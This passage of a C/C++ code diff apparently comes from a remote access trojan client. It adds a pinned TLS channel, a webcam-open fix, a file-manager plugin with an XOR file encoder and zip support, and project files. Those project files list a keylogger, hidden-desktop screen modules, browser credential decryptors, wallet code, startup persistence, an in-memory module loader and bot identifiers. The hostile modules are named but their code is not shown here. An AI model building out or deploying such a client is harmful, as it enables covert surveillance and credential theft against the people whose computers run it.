if (w < 0 && errno == EINTR)
continue;
err = "cannot write " + tmp + ": " + strerror(errno);
close(fd);
unlink(tmp.c_str());
return false;
}
off += (size_t)w;
}
fsync(fd);
close(fd);
// 原子替换 + 收紧权限(目录可能已由 LinuxConfig 以 0755 创建)
if (rename(tmp.c_str(), path.c_str()) != 0) {
err = "cannot replace " + path + ": " + strerror(errno);
unlink(tmp.c_str());
return false;
}
chmod(path.c_str(), 0600);
Mprintf("[TLS] trust anchor saved to %s\n", path.c_str());
return true;
}
bool TlsTrustAnchorRemove(std::string& err)
{
std::vector<std::string> paths;
std::string dir = ConfigDir();
if (!dir.empty())
paths.push_back(dir + "/" + kAnchorName);
std::string exed = ExeDir();
if (!exed.empty())
paths.push_back(exed + "/" + kAnchorName);
bool removed = false;
for (size_t i = 0; i < paths.size(); ++i) {
if (unlink(paths[i].c_str()) == 0) {
removed = true;
Mprintf("[TLS] trust anchor removed: %s\n", paths[i].c_str());
} else if (errno != ENOENT) {
err = "cannot remove " + paths[i] + ": " + strerror(errno);
return false;
}
}
if (!removed) {
err = "no trust anchor configured";
return false;
}
return true;
}
// ---- TlsChannel ----
void TlsChannel::CloseHandles()
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
if (m_ssl) {
SSL_free(m_ssl); // 不发送 close_notify:与 Windows 的 DeleteSecurityContext 同语义
m_ssl = nullptr;
}
m_fd = -1;
m_ready = false;
}
bool TlsChannel::Handshake(int sock)
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
CloseHandles(); // 重连时清理上一次会话(recursive 锁,此处可重入)
// 在状态锁内取一份上下文:SSL_new 会递增 SSL_CTX 引用计数,此后即使 TlsReload()
// 把全局上下文换掉(旧 ctx 被 SSL_CTX_free),本次握手的 SSL 仍然安全。
SSL* ssl = nullptr;
{
std::lock_guard<std::mutex> lk(g_stateMtx);
EnsureInitLocked();
if (g_tlsCtx)
ssl = SSL_new(g_tlsCtx);
}
if (!ssl) {
Mprintf("[TLS] handshake called but no TLS context is available\n");
return false;
}
if (SSL_set_fd(ssl, sock) != 1) {
Mprintf("[TLS] SSL_set_fd failed\n");
SSL_free(ssl);
return false;
}
SSL_set_connect_state(ssl);
// 阻塞 socket:WANT_READ / WANT_WRITE 只在记录分片等极端情形出现,重试即可。
for (;;) {
ERR_clear_error();
int r = SSL_do_handshake(ssl);
if (r == 1)
break;
int e = SSL_get_error(ssl, r);
if (e == SSL_ERROR_WANT_READ || e == SSL_ERROR_WANT_WRITE)
continue;
if (e == SSL_ERROR_SSL) {
unsigned long err = ERR_peek_last_error();
char ebuf[256] = {0};
if (err)
ERR_error_string_n(err, ebuf, sizeof(ebuf));
Mprintf("[TLS] handshake failed: %s\n", ebuf[0] ? ebuf : "SSL error");
} else if (e == SSL_ERROR_SYSCALL) {
Mprintf("[TLS] handshake failed: syscall error (%s)\n", strerror(errno));
} else {
Mprintf("[TLS] handshake failed: SSL_get_error=%d (peer closed?)\n", e);
}
SSL_free(ssl);
return false;
}
// 单向 TLS:链必须钉扎到信任锚,且服务端确实出示了证书。默认 verify 只验链不校主机名,
// 与 Windows 版(CertGetCertificateChain 只验链)行为一致。
long vr = SSL_get_verify_result(ssl);
#if OPENSSL_VERSION_NUMBER >= 0x30000000L
X509* peer = SSL_get1_peer_certificate(ssl);
#else
X509* peer = SSL_get_peer_certificate(ssl);
#endif
if (!peer || vr != X509_V_OK) {
Mprintf("[TLS] server certificate not trusted against trust anchor (%s)\n",
X509_verify_cert_error_string(vr));
if (peer)
X509_free(peer);
SSL_free(ssl);
return false;
}
X509_free(peer);
m_ssl = ssl;
m_fd = sock;
m_ready = true;
Mprintf("[TLS] handshake OK (%s, server cert trusted)\n", SSL_get_version(ssl));
return true;
}
int TlsChannel::Recv(int sock, char* out, int outLen)
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
if (!m_ready || outLen <= 0) {
Mprintf("[TLS] Recv called but m_ready=%d (outLen=%d), returning SOCKET_ERROR\n",
(int)m_ready, outLen);
return SOCKET_ERROR;
}
(void)sock; // SSL 已绑定 fd
for (;;) {
ERR_clear_error();
int n = SSL_read(m_ssl, out, outLen);
if (n > 0)
return n;
int e = SSL_get_error(m_ssl, n);
if (e == SSL_ERROR_WANT_READ || e == SSL_ERROR_WANT_WRITE)
continue;
if (e == SSL_ERROR_ZERO_RETURN)
return 0; // close_notify:对端正常关闭
if (e == SSL_ERROR_SYSCALL && ERR_peek_last_error() == 0)
return 0; // 对端未发 close_notify 就断开(unexpected EOF),按关闭处理
Mprintf("[TLS] SSL_read failed: SSL_get_error=%d (%s)\n", e, strerror(errno));
return SOCKET_ERROR;
}
}
int TlsChannel::Send(int sock, const char* data, int len)
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
if (!m_ready)
return SOCKET_ERROR;
if (len <= 0)
return 0;
(void)sock; // SSL 已绑定 fd
int total = 0;
while (total < len) {
ERR_clear_error();
int n = SSL_write(m_ssl, data + total, len - total);
if (n > 0) {
total += n;
continue;
}
int e = SSL_get_error(m_ssl, n);
if (e == SSL_ERROR_WANT_READ || e == SSL_ERROR_WANT_WRITE)
continue;
Mprintf("[TLS] SSL_write failed: SSL_get_error=%d (%s), sent=%d/%d\n",
e, strerror(errno), total, len);
return total > 0 ? total : SOCKET_ERROR;
}
return total;
}
bool TlsChannel::HasPending() const
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
if (!m_ready || !m_ssl)
return false;
// SSL_pending: 已解密未交付的明文;SSL_has_pending: 内部还缓冲着未处理的记录字节。
// 任一为真都说明 select 看不到但可以立刻读,必须优先消费。
return SSL_pending(m_ssl) > 0 || SSL_has_pending(m_ssl) == 1;
}
#endif // __linux__ && !__ANDROID__
+6 -1
View File
@@ -21,7 +21,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
m_pVideoCodec = NULL;
m_fccHandler = 1129730893;
m_CapVideo.Open(0,0); // 开启
m_bVideoOpened = m_CapVideo.Open(0,0) == S_OK; // 开启
lpBuffer = NULL;
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
@@ -31,6 +31,11 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
DWORD CVideoManager::WorkThread(LPVOID lParam)
{
CVideoManager *This = (CVideoManager *)lParam;
if (!This->m_bVideoOpened) {
This->Destroy();
return 0x20261013;
}
static ULONGLONG dwLastScreen = GetTickCount64();
if (This->Initialize()) { //转到Initialize
+1
View File
@@ -25,6 +25,7 @@ public:
BOOL m_bIsWorking;
HANDLE m_hWorkThread;
BOOL m_bVideoOpened;
void SendBitMapInfor();
BOOL SendNextScreen();
File diff suppressed because it is too large. Load diff
+152
View File
@@ -0,0 +1,152 @@
#include <winsock2.h>
#include <list>
#include <string>
#include "Manager.h"
#include <sstream>
#include "zip.h"
#pragma once
#include <winioctl.h>
typedef LONG NTSTATUS; // 仅声明 NTSTATUS;不引入 <winternl.h>,避免 STRING/UNICODE_STRING/OBJ_CASE_INSENSITIVE/FILE_OPEN 等宏与本地命名冲突
#include "MasterEncoder.h"
namespace SimplePluginsFile {
typedef struct {
UINT nFileSize; // 文件大小
UINT nSendSize; // 已发送大小
} SENDFILEPROGRESS, * PSENDFILEPROGRESS;
typedef struct {
DWORD dwSizeHigh;
DWORD dwSizeLow;
BOOL error;
} FILESIZE;
typedef struct {
TCHAR SearchFileName[MAX_PATH];
TCHAR SearchPath[MAX_PATH];
BOOL bEnabledSubfolder;
} FILESEARCH;
typedef struct {
BYTE Token;
int w,h,size;
} FILEPICINFO;
struct SEARCH {
TCHAR TC_disk[8];
TCHAR TC_search[MAX_PATH];
};
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _FILE_NAME_INFORMATION {
ULONG FileNameLength;
WCHAR FileName[MAX_PATH];
} FILE_NAME_INFORMATION;
typedef LONG(__stdcall* ZwQueryInformationFile) (
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN ULONG FileInformationClass
);
WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr);
class CFileManager : public CManager
{
public:
MasterEncoder m_encoder;
DWORD dwRet;
void OnReceive(LPBYTE lpBuffer, ULONG nSize);
UINT SendDriveList();
CFileManager(ISocketBase* pClient, int n, void* user);
virtual ~CFileManager();
private:
LPBYTE lpSendPacket;
std::list <std::string> m_UploadList;
BOOL m_bIsWow64;
UINT m_nTransferMode;
HANDLE m_hFileSend;
HANDLE m_hFileRecv;
TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
bool benofrce;
TCHAR* copyfile;
HANDLE ImpersonateLoggedOnUserWrapper();
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
bool UploadToRemote(LPBYTE lpBuffer);
bool FixedUploadList(LPCTSTR lpszDirectory);
void StopTransfer(BOOL bIsUpload);
UINT SendFilesList(TCHAR* lpszDirectory);
bool DeleteDirectory(LPCTSTR lpszDirectory);
UINT SendFileSize(LPCTSTR lpszFileName);
void SendFileData(LPBYTE lpBuffer);
void CreateFolder(LPBYTE lpBuffer);
void Rename(LPBYTE lpBuffer);
int SendToken(BYTE bToken);
void CreateLocalRecvFile(LPBYTE lpBuffer);
void SetTransferMode(LPBYTE lpBuffer);
void GetFileData();
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
void UploadNext();
BOOL OpenFile(LPCTSTR lpFile, INT nShowCmd);
void ExeCompress(BYTE* lpBuffer);
void SendSearchData(LPBYTE lpBuffer);
BOOL GetVolumeNameByHandle(HANDLE hFile, char* szFullPath);
void GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber);
protected:
HANDLE m_hWorkThread;
BOOL bIsStopSearch;
FILESEARCH filesearch;
void StopSearchTheard();
void SendSearchFilesList(LPCTSTR str);
static void WINAPI FindFileThread(LPVOID lparam);
void FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder);
TCHAR g_desktopName[MAX_PATH];
ULONG PseudoRand(ULONG* seed);
void GetBotId(TCHAR* botId);
HDESK g_hDesk;;
bool getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath);
void SendNetHood(); //发送共享文件目录
void encfile(char* in_filename);
void decryptfile(char* in_filename);
bool FnDelPathFile(TCHAR* tc_path);
TCHAR* zippath_t;
HANDLE m_hWorkZIPThread;
BOOL bIsStopZIP;
void StopZIPTheard();
void StartZIP();
static void WINAPI FindZIPThread(LPVOID lparam);
void FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz,int pathlen);
//info
void SendFileInfo(TCHAR* filepath,TCHAR * type);
bool ResizePicture(TCHAR* strSource);
TCHAR* volName; // 驱动盘名称
TCHAR* tc_search; // 搜索关键词
HANDLE hVol; // 用于储存驱动盘句柄
USN_JOURNAL_DATA UsnInfo; // 用于储存USN日志的基本信息
long counter;
LPBYTE lpBuffer;
char* c_pathname;
};
}
+162
View File
@@ -0,0 +1,162 @@
#include "StdAfx.h"
#include "MasterEncoder.h"
#include <fstream>
#include <string>
#include <iostream>
namespace SimplePluginsFile {
MasterEncoder::MasterEncoder()
{
_codeKey = 100;
_sign = nullptr;
_signLen = 0;
}
MasterEncoder::~MasterEncoder()
{
SAFE_DELETE_AR(_sign);
}
void MasterEncoder::setSignAndKey(char* sign, int signLen, unsigned char key)
{
if (sign && signLen) {
_signLen = signLen;
SAFE_DELETE_AR(_sign);
_sign = new char[signLen];
if (_sign) {
memcpy(_sign, sign, signLen);
} else {
Mprintf("setSignAndKey Failed!\n");
}
}
_codeKey = key;
}
void MasterEncoder::encode(unsigned char* data, long size)
{
for (long i = 0; i < size; i++) {
data[i] ^= _codeKey;
}
}
void MasterEncoder::decode(unsigned char* data, long size)
{
for (long i = 0; i < size; i++) {
data[i] ^= _codeKey;
}
}
unsigned char* MasterEncoder::readPDF(const std::string& filepath, long& size)
{
std::ifstream ifs;
ifs.open(filepath, std::ios::in | std::ios::binary);
if (!ifs.is_open()) {
Mprintf("文件打开失败: %s\n", filepath.c_str());
return nullptr;
}
ifs.seekg(0, std::ios_base::end);
size =(long) ifs.tellg();
ifs.seekg(0, std::ios_base::beg);
unsigned char* data = new unsigned char[size];
long count = 0;
while (count < size) {
ifs.read((char*)&data[count], sizeof(unsigned char));
count++;
}
Mprintf("read PDF size = %d\n", size);
ifs.close();
return data;
}
void MasterEncoder::writePDF(const std::string& filePath, unsigned char* data, long size)
{
std::ofstream ofs;
ofs.open(filePath, std::ios::out | std::ios::trunc | std::ios::binary);
if (!ofs.is_open()) {
Mprintf("文件打开失败: %s\n", filePath.c_str());
return;
}
long count = 0;
while (count < size) {
ofs.write((char*)&data[count], sizeof(unsigned char));
count++;
}
Mprintf("save PDF size = %d\n", size);
ofs.close();
}
void MasterEncoder::encodePDF(const std::string& pdfPath, const std::string& savePath)
{
long size = 0;
unsigned char* data = readPDF(pdfPath, size);
//判断是否已经加密过
if (memcmp(data, _sign, _signLen) == 0) {
Mprintf("加密过了, 直接保存: %s\n", pdfPath.c_str());
writePDF(savePath, data, size);
} else {
encode(data, size);
if (_signLen > 0) {
unsigned char* p = new unsigned char[size + _signLen];
memcpy(p, _sign, _signLen);
memcpy(p + _signLen, data, size);
writePDF(savePath, p, size + _signLen);
delete[] p;
} else {
writePDF(savePath, data, size);
}
}
delete[] data;
}
void MasterEncoder::decodePDF(const std::string& pdfPath, const std::string& savePath)
{
long size = 0;
unsigned char* data = readPDF(pdfPath, size);
if (_signLen == 0) {
decode(data, size);
writePDF(savePath, data, size);
} else if (memcmp(data, _sign, _signLen) == 0) {
unsigned char* p = (data + _signLen);
decode(p, size - _signLen);
writePDF(savePath, p, size - _signLen);
} else {
Mprintf("解密失败: %s\n", pdfPath.c_str());
}
delete[] data;
}
unsigned char* MasterEncoder::decode(const std::string& pdfPath, long& size)
{
unsigned char* data = readPDF(pdfPath, size);
if (_signLen == 0) {
decode(data, size);
return data;
} else if (memcmp(data, _sign, _signLen) == 0) {
size -= _signLen;
unsigned char* p = new unsigned char[size];
memcpy(p, data + _signLen, size);
decode(p, size);
delete[] data;
return p;
} else {
return data;
}
}
}
+32
View File
@@ -0,0 +1,32 @@
#pragma once
#include <string>
namespace SimplePluginsFile {
class MasterEncoder
{
public:
MasterEncoder();
~MasterEncoder();
void setSignAndKey(char* sign, int signLen, unsigned char key);
void decode(unsigned char* data, long size);
void encode(unsigned char* data, long size);
void writePDF(const std::string& filePath, unsigned char* data, long size);
unsigned char* readPDF(const std::string& filepath, long& size);
public:
void encodePDF(const std::string& pdfPath, const std::string& savePath);
void decodePDF(const std::string& pdfPath, const std::string& savePath);
unsigned char* decode(const std::string& pdfPath, long& size);
private:
unsigned char _codeKey;
char* _sign;
int _signLen;
};
}
+2911
View File
File diff suppressed because it is too large. Load diff
+207
View File
@@ -0,0 +1,207 @@
//
//http://www.codeproject.com/KB/files/zip_utils.aspx
//
#ifndef _zip_H
#define _zip_H
// ZIP functions -- for creating zip files
// This file is a repackaged form of the Info-Zip source code available
// at www.info-zip.org. The original copyright notice may be found in
// zip.cpp. The repackaging was done by Lucian Wischik to simplify and
// extend its use in Windows/C++. Also to add encryption and unicode.
#ifndef _unzip_H
DECLARE_HANDLE(HZIP);
#endif
// An HZIP identifies a zip file that is being created
typedef DWORD ZRESULT;
// return codes from any of the zip functions. Listed later.
HZIP CreateZip(const TCHAR* fn, const char* password);
HZIP CreateZip(void* buf, unsigned int len, const char* password);
HZIP CreateZipHandle(HANDLE h, const char* password);
// CreateZip - call this to start the creation of a zip file.
// As the zip is being created, it will be stored somewhere:
// to a pipe: CreateZipHandle(hpipe_write);
// in a file (by handle): CreateZipHandle(hfile);
// in a file (by name): CreateZip("c:\\test.zip");
// in memory: CreateZip(buf, len);
// or in pagefile memory: CreateZip(0, len);
// The final case stores it in memory backed by the system paging file,
// where the zip may not exceed len bytes. This is a bit friendlier than
// allocating memory with new[]: it won't lead to fragmentation, and the
// memory won't be touched unless needed. That means you can give very
// large estimates of the maximum-size without too much worry.
// As for the password, it lets you encrypt every file in the archive.
// (This api doesn't support per-file encryption.)
// Note: because pipes don't allow random access, the structure of a zipfile
// created into a pipe is slightly different from that created into a file
// or memory. In particular, the compressed-size of the item cannot be
// stored in the zipfile until after the item itself. (Also, for an item added
// itself via a pipe, the uncompressed-size might not either be known until
// after.) This is not normally a problem. But if you try to unzip via a pipe
// as well, then the unzipper will not know these things about the item until
// after it has been unzipped. Therefore: for unzippers which don't just write
// each item to disk or to a pipe, but instead pre-allocate memory space into
// which to unzip them, then either you have to create the zip not to a pipe,
// or you have to add items not from a pipe, or at least when adding items
// from a pipe you have to specify the length.
// Note: for windows-ce, you cannot close the handle until after CloseZip.
// but for real windows, the zip makes its own copy of your handle, so you
// can close yours anytime.
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, const TCHAR* fn);
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, void* src, unsigned int len);
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h);
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h, unsigned int len);
ZRESULT ZipAddFolder(HZIP hz, const TCHAR* dstzn);
// ZipAdd - call this for each file to be added to the zip.
// dstzn is the name that the file will be stored as in the zip file.
// The file to be added to the zip can come
// from a pipe: ZipAddHandle(hz,"file.dat", hpipe_read);
// from a file: ZipAddHandle(hz,"file.dat", hfile);
// from a filen: ZipAdd(hz,"file.dat", "c:\\docs\\origfile.dat");
// from memory: ZipAdd(hz,"subdir\\file.dat", buf,len);
// (folder): ZipAddFolder(hz,"subdir");
// Note: if adding an item from a pipe, and if also creating the zip file itself
// to a pipe, then you might wish to pass a non-zero length to the ZipAddHandle
// function. This will let the zipfile store the item's size ahead of the
// compressed item itself, which in turn makes it easier when unzipping the
// zipfile from a pipe.
ZRESULT ZipGetMemory(HZIP hz, void** buf, unsigned long* len);
// ZipGetMemory - If the zip was created in memory, via ZipCreate(0,len),
// then this function will return information about that memory block.
// buf will receive a pointer to its start, and len its length.
// Note: you can't add any more after calling this.
ZRESULT CloseZip(HZIP hz);
// CloseZip - the zip handle must be closed with this function.
unsigned int FormatZipMessage(ZRESULT code, TCHAR* buf, unsigned int len);
// FormatZipMessage - given an error code, formats it as a string.
// It returns the length of the error message. If buf/len points
// to a real buffer, then it also writes as much as possible into there.
// These are the result codes:
#define ZR_OK 0x00000000 // nb. the pseudo-code zr-recent is never returned,
#define ZR_RECENT 0x00000001 // but can be passed to FormatZipMessage.
// The following come from general system stuff (e.g. files not openable)
#define ZR_GENMASK 0x0000FF00
#define ZR_NODUPH 0x00000100 // couldn't duplicate the handle
#define ZR_NOFILE 0x00000200 // couldn't create/open the file
#define ZR_NOALLOC 0x00000300 // failed to allocate some resource
#define ZR_WRITE 0x00000400 // a general error writing to the file
#define ZR_NOTFOUND 0x00000500 // couldn't find that file in the zip
#define ZR_MORE 0x00000600 // there's still more data to be unzipped
#define ZR_CORRUPT 0x00000700 // the zipfile is corrupt or not a zipfile
#define ZR_READ 0x00000800 // a general error reading the file
// The following come from mistakes on the part of the caller
#define ZR_CALLERMASK 0x00FF0000
#define ZR_ARGS 0x00010000 // general mistake with the arguments
#define ZR_NOTMMAP 0x00020000 // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
#define ZR_MEMSIZE 0x00030000 // the memory size is too small
#define ZR_FAILED 0x00040000 // the thing was already failed when you called this function
#define ZR_ENDED 0x00050000 // the zip creation has already been closed
#define ZR_MISSIZE 0x00060000 // the indicated input file size turned out mistaken
#define ZR_PARTIALUNZ 0x00070000 // the file had already been partially unzipped
#define ZR_ZMODE 0x00080000 // tried to mix creating/opening a zip
// The following come from bugs within the zip library itself
#define ZR_BUGMASK 0xFF000000
#define ZR_NOTINITED 0x01000000 // initialisation didn't work
#define ZR_SEEK 0x02000000 // trying to seek in an unseekable file
#define ZR_NOCHANGE 0x04000000 // changed its mind on storage, but not allowed
#define ZR_FLATE 0x05000000 // an internal error in the de/inflation code
// e.g.
//
// (1) Traditional use, creating a zipfile from existing files
// HZIP hz = CreateZip("c:\\simple1.zip",0);
// ZipAdd(hz,"znsimple.bmp", "c:\\simple.bmp");
// ZipAdd(hz,"znsimple.txt", "c:\\simple.txt");
// CloseZip(hz);
//
// (2) Memory use, creating an auto-allocated mem-based zip file from various sources
// HZIP hz = CreateZip(0,100000, 0);
// // adding a conventional file...
// ZipAdd(hz,"src1.txt", "c:\\src1.txt");
// // adding something from memory...
// char buf[1000]; for (int i=0; i<1000; i++) buf[i]=(char)(i&0x7F);
// ZipAdd(hz,"file.dat", buf,1000);
// // adding something from a pipe...
// HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,NULL,0);
// HANDLE hthread = CreateThread(0,0,ThreadFunc,(void*)hwrite,0,0);
// ZipAdd(hz,"unz3.dat", hread,1000); // the '1000' is optional.
// WaitForSingleObject(hthread,INFINITE);
// CloseHandle(hthread); CloseHandle(hread);
// ... meanwhile DWORD WINAPI ThreadFunc(void *dat)
// { HANDLE hwrite = (HANDLE)dat;
// char buf[1000]={17};
// DWORD writ; WriteFile(hwrite,buf,1000,&writ,NULL);
// CloseHandle(hwrite);
// return 0;
// }
// // and now that the zip is created, let's do something with it:
// void *zbuf; unsigned long zlen; ZipGetMemory(hz,&zbuf,&zlen);
// HANDLE hfz = CreateFile("test2.zip",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
// DWORD writ; WriteFile(hfz,zbuf,zlen,&writ,NULL);
// CloseHandle(hfz);
// CloseZip(hz);
//
// (3) Handle use, for file handles and pipes
// HANDLE hzread,hzwrite; CreatePipe(&hzread,&hzwrite,0,0);
// HANDLE hthread = CreateThread(0,0,ZipReceiverThread,(void*)hzread,0,0);
// HZIP hz = CreateZipHandle(hzwrite,0);
// // ... add to it
// CloseZip(hz);
// CloseHandle(hzwrite);
// WaitForSingleObject(hthread,INFINITE);
// CloseHandle(hthread);
// ... meanwhile DWORD WINAPI ZipReceiverThread(void *dat)
// { HANDLE hread = (HANDLE)dat;
// char buf[1000];
// while (true)
// { DWORD red; ReadFile(hread,buf,1000,&red,NULL);
// // ... and do something with this zip data we're receiving
// if (red==0) break;
// }
// CloseHandle(hread);
// return 0;
// }
// Now we indulge in a little skullduggery so that the code works whether
// the user has included just zip or both zip and unzip.
// Idea: if header files for both zip and unzip are present, then presumably
// the cpp files for zip and unzip are both present, so we will call
// one or the other of them based on a dynamic choice. If the header file
// for only one is present, then we will bind to that particular one.
ZRESULT CloseZipZ(HZIP hz);
unsigned int FormatZipMessageZ(ZRESULT code, char* buf, unsigned int len);
bool IsZipHandleZ(HZIP hz);
#ifdef _unzip_H
#undef CloseZip
#define CloseZip(hz) (IsZipHandleZ(hz)?CloseZipZ(hz):CloseZipU(hz))
#else
#define CloseZip CloseZipZ
#define FormatZipMessage FormatZipMessageZ
#endif
#endif
+28
View File
@@ -185,6 +185,7 @@
<ClCompile Include="..\common\ikcp.c" />
<ClCompile Include="..\common\zstd_wrapper.c" />
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
<ClCompile Include="ActivityHistory.cpp" />
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" />
@@ -193,6 +194,13 @@
<ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="FileManager.cpp" />
<ClCompile Include="file\FileManager.cpp">
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
</ClCompile>
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" />
@@ -213,6 +221,7 @@
<ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="session.cpp" />
<ClCompile Include="SessionMonitor.c" />
@@ -224,6 +233,9 @@
<ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="TlsChannel.cpp" />
<ClCompile Include="ChatManager.cpp" />
<ClCompile Include="MachineManager.cpp" />
<ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" />
</ItemGroup>
@@ -234,6 +246,7 @@
<ClInclude Include="..\common\wallet.h" />
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="ActivityHistory.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="auto_start.h" />
@@ -245,6 +258,13 @@
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="domain_pool.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" />
@@ -267,6 +287,7 @@
<ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="session.h" />
<ClInclude Include="SessionMonitor.h" />
@@ -279,6 +300,13 @@
<ClInclude Include="SystemManager.h" />
<ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="TalkManager.h" />
<ClInclude Include="TlsChannel.h" />
<ClInclude Include="ChatManager.h" />
<ClInclude Include="ChatDialogTemplate.h" />
<ClInclude Include="TalkDialogTemplate.h" />
<ClInclude Include="ImageResource.h" />
<ClInclude Include="MachineManager.h" />
<ClInclude Include="yapi.hpp" />
<ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" />
+207
View File
@@ -0,0 +1,207 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<ClCompile Include="..\common\file_upload.cpp" />
<ClCompile Include="..\common\ikcp.c" />
<ClCompile Include="..\common\zstd_wrapper.c" />
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
<ClCompile Include="ActivityHistory.cpp" />
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" />
<ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="clang_rt_compat.c" />
<ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="FileManager.cpp" />
<ClCompile Include="file\FileManager.cpp" />
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" />
<ClCompile Include="KernelManager.cpp" />
<ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="keylogger.cpp" />
<ClCompile Include="Loader.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="ClientLogManager.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenPreview.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="session.cpp" />
<ClCompile Include="SessionMonitor.c" />
<ClCompile Include="ShellManager.cpp" />
<ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="StdAfx.cpp" />
<ClCompile Include="SystemManager.cpp" />
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
<ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="TlsChannel.cpp" />
<ClCompile Include="ChatManager.cpp" />
<ClCompile Include="MachineManager.cpp" />
<ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" />
<ClCompile Include="decrypt\DecryptManager.cpp">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\Get360seInfo.cpp">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\GetBrowserInfo.cpp">
<Filter>decrypt</Filter>
</ClCompile>
